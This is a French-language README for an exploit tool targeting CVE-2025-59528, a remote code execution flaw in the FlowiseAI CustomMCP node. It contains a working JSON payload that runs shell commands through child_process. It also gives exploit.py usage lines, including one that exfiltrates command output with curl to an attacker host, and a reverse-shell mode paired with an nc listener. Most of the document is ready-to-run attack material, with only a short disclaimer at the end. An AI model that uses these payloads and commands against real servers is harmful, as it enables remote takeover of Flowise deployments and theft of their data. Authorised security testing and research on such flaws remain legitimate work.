
CVE-2025-59528 - Exécution de code à distance dans FlowiseAI CustomMCP
CVSS 10.0 (Critique) | RCE aveugle | FlowiseAI Flowise >= 2.2.7-patch.1 et < 3.0.6
Une vulnérabilité critique d'exécution de code à distance dans le nœud CustomMCP de FlowiseAI Flowise. La fonction convertToValidJSONString passe l'entrée fournie par l'utilisateur du paramètre mcpServerConfig directement au constructeur Function() de JavaScript, fonctionnellement équivalent à eval(), permettant l'exécution de code JavaScript arbitraire avec tous les privilèges du runtime Node.js.
Function() par JSON5.parse())Dans packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts, lignes 262–270 :
function convertToValidJSONString(inputString) {
return Function('return ' + inputString)(); // ← Exécution de code arbitraire
}
Le flux de contamination :
HTTP POST → /api/v1/node-load-method/customMCP
→ controller.getSingleNodeAsyncOptions()
→ couche de service
→ CustomMCP.listActions()
→ convertToValidJSONString(mcpServerConfig) // Function('return ' + userInput)()
Ceci est une RCE aveugle : la sortie de la commande n'est pas reflétée dans la réponse HTTP. Utilisez des techniques de callback (curl/wget) ou un reverse shell pour confirmer l'exécution.
| Condition | Détails |
|---|---|
| Version de Flowise | >= 2.2.7-patch.1, < 3.0.6 |
| Accès réseau | Point de terminaison API sur le port 3000 (par défaut) |
| Authentification | Optionnelle pour < 3.0.1, requise pour >= 3.0.1 |
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "{x:(function(){const cp=process.mainModule.require('child_process');cp.exec('COMMAND',()=>{});return 1;})()}"
}
}
pip install requests
python3 exploit.py -t http://target:3000 --mode check --email [email protected] --password pass
# Exfiltrer la sortie via callback
python3 exploit.py -t http://target:3000 --mode exec \
-c "curl http://ATTACKER:PORT/\$(id | base64)" \
--email [email protected] --password pass
# Démarrer l'écouteur
nc -lvnp 4444
# Lancer l'exploit (essaie automatiquement bash, nc, python)
python3 exploit.py -t http://target:3000 --mode revshell \
--lhost ADRESSE_ATTAQUANT --lport 4444 \
--email [email protected] --password pass
# Authentification JWT (Flowise >= 3.0.1)
--email [email protected] --password pass
# Authentification de base (Flowise < 3.0.1 avec la variable d'environnement FLOWISE_USERNAME)
--username admin --password pass
# Chaîne de cookie brute (solution de repli)
--cookie "token=eyJ...;refreshToken=eyJ...;connect.sid=s%3A..."
/api/v1/node-load-method/customMCPCet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins éducatives. L'accès non autorisé aux systèmes informatiques est illégal. Obtenez toujours une autorisation appropriée avant de tester.